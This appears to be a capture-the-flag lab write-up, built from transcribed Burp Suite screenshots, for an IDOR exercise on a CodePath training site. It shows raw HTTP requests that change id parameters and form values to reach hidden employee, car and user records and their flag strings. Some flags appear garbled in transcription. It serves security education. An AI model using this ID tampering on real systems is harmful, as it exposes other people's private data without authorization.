

capture_Nigeria - 1.09 - Secret Number 3

X

Here we have a famous number sequence (think: seashells) and an unlinked page with a clue.

[Link 1]

Insert your answer

NEED MORE POINTS

SUBMIT

20

PTS

type
flag

category
Week 1

first_capture
Almond Yogurt

Hidden Employee

Request

```
1 GET /idor/public/protected/flags/00/detail.php?id=3 HTTP/2
2 Host: flags.codepath.com
3 Cookie: PHPSESSID=9ghnd6ZwdtF3dn6463vfr2atr4
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Referer: https://flags.codepath.com/idor/public/protected/flags/00/index.php
9 Upgrade-Insecure-Requests: 1
10 Sec-Fetch-Dest: document
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-User: ?1
14 Te: trailers
```

Response

```
35 <!doctype html>
36 <html lang="en">
37
38 <head>
39   <title>
40     Level TBD   </title>
41   <meta charset="utf-8">
42   <meta name="description" content="Level TBD">
43   <link rel="stylesheet" media="all" href="/idor/public/styles.css">
44 </head>
45
46 <body>
47 <div id="main-content">
48
49   <span class="index"><a href="index.php">Back</a></span><br />
50   <h2>Detail Page</h2>
51
52   <p>Congratulations You found the flag: *CTF{UNRENTIONABLE_AMYEDILUVIAN_PAINTED}</p>
53 </div>
54
55 </body>
56 <footer>
57 </footer>
58 </html>
```

Inspector

- Request Attributes
- Query Parameters (1)
- Body Parameters (0)
- Request Cookies (1)
- Request Headers (16)
- Response Headers (9)

872 bytes | 47 millis

Secret Number 1

The screenshot shows the Burp Suite interface with a request and response captured. The request is a POST to `/idor/public/protected/flags/02/index.php`. The response is an HTML page with a reward message and a CTF flag.

Request:

```
1 POST /idor/public/protected/flags/02/index.php HTTP/2
2 Host: flags.codepath.com
3 Cookie: PHPSESSID=9bnd6e2adcf3dn6463vfc2atr4
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 26
10 Origin: https://flags.codepath.com
11 Referer: https://flags.codepath.com/idor/public/protected/flags/02/index.php
12 Upgrade-Insecure-Requests: 1
13 Sec-Fetch-Dest: document
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-User: ?1
17 Te: trailers
18
19 numbers=92
20 &submit=Submit
```

Response:

```
2
3
4 <option value="4" >
5 4
6 </option>
7 <option value="8" >
8 8
9 </option>
10 <option value="10" >
11 10
12 </option>
13 <option value="20" >
14 20
15 </option>
16 <option value="22" >
17 22
18 </option>
19 <option value="44" >
20 44
21 </option>
22 <option value="46" >
23 46
24 </option>
25 </select>
26 <input type="submit" name="submit" value="Submit" />
27 </form>
28 <p>
29 Congratulation, here is your reward:
30 <br />
31 <p>
32 <CTF(SQUAHOUS_AMORPHOUS_NON_EUCLIDEAN)>
33 </p>
34 <br />
35 </div>
36
37 </body>
38
39 <footer>
40 </footer>
41 </html>
42
```

Inspector:

- Request Attributes
- Query Parameters (0)
- Body Parameters (2)
- Request Cookies (1)
- Request Headers (19)
- Response Headers (9)

1,385 bytes | 48 millis

Hidden Car

1 x 2 x 3 x 4 x 5 x 6 x 7 x 8 x 9 x 10 x 11 x 12 x 13 x 14 x 15 x 16 x 17 x 18 x ...

Send Cancel < >

Target: https://flags.codepath.com HTTP/2

Request

```
1 GET /idor/public/protected/flags/03/detail.php?id=10 HTTP/2
2 Host: flags.codepath.com
3 Cookie: PHPSESSID=9ghn6e2mdt f3dn6463vfrCatr4
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Referer: https://flags.codepath.com/idor/public/protected/flags/03/index.php
9 Upgrade-Insecure-Requests: 1
10 Sec-Fetch-Dest: document
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-User: ?1
14 Te: trailers
```

Response

```
31
32
33
34 <!doctype html>
35 <html lang="en">
36 <head>
37 <title>
38 Level TBD
39 </title>
40 <meta charset="utf-8">
41 <meta name="description" content="Level TBD">
42 <link rel="stylesheet" media="all" href="/idor/public/styles.css">
43 </head>
44 <body>
45 <div id="main-content">
46
47
48
49 <h2>
50 Detail Page
51 </h2>
52
53 <span class="index"><a href="index.php">Back</a>
54 </span>
55 <br />
56 <p>
57 Name: Tesla
58 </p>
59 <br />
60 <p>
61 Owner: *CTP(UNUTTERABLE_MAMUSCRIPT_TENEBROUS)
62 </p>
63 <br />
64 </div>
65 </body>
66 <footer>
67 </footer>
68 </html>
```

Inspector

- Request Attributes
- Query Parameters (1)
- Body Parameters (0)
- Request Cookies (1)
- Request Headers (16)
- Response Headers (9)

Done

Type here to search

875 bytes | 48 millis

9:03 PM 9/27/2021

Hidden User

The screenshot displays the Burp Suite interface with the 'Repeater' tab selected. The target is `https://flags.codepath.com`. The request is an HTTP GET to `/idor/public/protected/flags/04/detail.php?id=36`. The response is an HTML page with the following content:

```
<html>
<head>
</head>
<body>
<div id="main-content">
  <span class="index"><a href="index.php">Back</a>
</span>
<div>
  <h1>
    Congrats you found the hidden user here's your reward
  </h1>
<div>
  <p>
    *CTF{GAMBRILL_SHUNNED_GIBBERING}
  </p>
</div>
</div>
</body>
</html>
```

The response status is 200 OK. The response size is 875 bytes and the time taken is 41 milliseconds. The response headers are:

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Apache/2.4.18 (Ubuntu)
```